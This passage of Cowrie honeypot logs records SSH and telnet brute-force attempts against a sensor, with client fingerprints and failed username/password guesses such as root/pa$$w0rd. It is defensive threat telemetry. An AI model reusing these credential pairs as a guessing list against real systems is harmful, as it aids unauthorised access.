56-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:58:40.397429Z","src_ip":"45.61.187.220","session":"51bb8b333591","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user10","password":"user10","message":"login attempt [user10/user10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:58:40.562278Z","src_ip":"45.61.187.220","session":"51bb8b333591","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:58:41.598078Z","src_ip":"45.61.187.220","session":"51bb8b333591","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":49868,"dst_ip":"10.17.0.5","dst_port":23,"session":"8932a89042d0","protocol":"telnet","message":"New connection: 72.167.226.244:49868 (10.17.0.5:23) [session: 8932a89042d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:59:12.115265Z"}
{"eventid":"cowrie.session.connect","src_ip":"52.169.217.131","src_port":43382,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e65425ec13a","protocol":"ssh","message":"New connection: 52.169.217.131:43382 (159.203.135.109:22) [session: 1e65425ec13a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:59:13.307129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:59:13.310622Z","src_ip":"52.169.217.131","session":"1e65425ec13a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:59:13.376178Z","src_ip":"52.169.217.131","session":"1e65425ec13a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abc","password":"abc","message":"login attempt [abc/abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:59:13.675658Z","src_ip":"52.169.217.131","session":"1e65425ec13a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:59:14.745401Z","src_ip":"52.169.217.131","session":"1e65425ec13a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.190.244.176","src_port":46704,"dst_ip":"10.17.0.5","dst_port":22,"session":"7623a6ef8b51","protocol":"ssh","message":"New connection: 189.190.244.176:46704 (10.17.0.5:22) [session: 7623a6ef8b51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:59:20.050378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:59:20.053898Z","src_ip":"189.190.244.176","session":"7623a6ef8b51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:59:20.127423Z","src_ip":"189.190.244.176","session":"7623a6ef8b51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz@WSX3edc","message":"login attempt [ubuntu/1qaz@WSX3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:59:20.453552Z","src_ip":"189.190.244.176","session":"7623a6ef8b51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:59:21.530200Z","src_ip":"189.190.244.176","session":"7623a6ef8b51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.35.200","src_port":55486,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b8cb5c64fc0","protocol":"ssh","message":"New connection: 162.240.35.200:55486 (159.203.135.109:22) [session: 0b8cb5c64fc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:59:31.202986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:59:31.206595Z","src_ip":"162.240.35.200","session":"0b8cb5c64fc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:59:31.288676Z","src_ip":"162.240.35.200","session":"0b8cb5c64fc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZkSync#Tr0ng!W0rd","message":"login attempt [root/ZkSync#Tr0ng!W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:59:31.541517Z","src_ip":"162.240.35.200","session":"0b8cb5c64fc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:59:33.773729Z","src_ip":"162.240.35.200","session":"0b8cb5c64fc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":36520,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d3aeef479af","protocol":"ssh","message":"New connection: 109.237.96.109:36520 (10.17.0.5:22) [session: 5d3aeef479af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:59:40.022807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:59:40.026249Z","src_ip":"109.237.96.109","session":"5d3aeef479af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:59:40.119074Z","src_ip":"109.237.96.109","session":"5d3aeef479af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"poi0987","message":"login attempt [root/poi0987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:59:40.398127Z","src_ip":"109.237.96.109","session":"5d3aeef479af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:59:41.494389Z","src_ip":"109.237.96.109","session":"5d3aeef479af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.778647422790527,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:59:43.893816Z","src_ip":"72.167.226.244","session":"8932a89042d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:59:48.969421Z","src_ip":"46.19.67.181","session":"677f9badbf9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.187.220","src_port":34856,"dst_ip":"159.203.135.109","dst_port":22,"session":"8eba697bfb96","protocol":"ssh","message":"New connection: 45.61.187.220:34856 (159.203.135.109:22) [session: 8eba697bfb96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:59:58.355918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:59:58.361202Z","src_ip":"45.61.187.220","session":"8eba697bfb96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:59:58.395319Z","src_ip":"45.61.187.220","session":"8eba697bfb96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pa$$w0rd","message":"login attempt [root/pa$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:59:58.550361Z","src_ip":"45.61.187.220","session":"8eba697bfb96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:59:59.584544Z","src_ip":"45.61.187.220","session":"8eba697bfb96","protocol":"ssh"}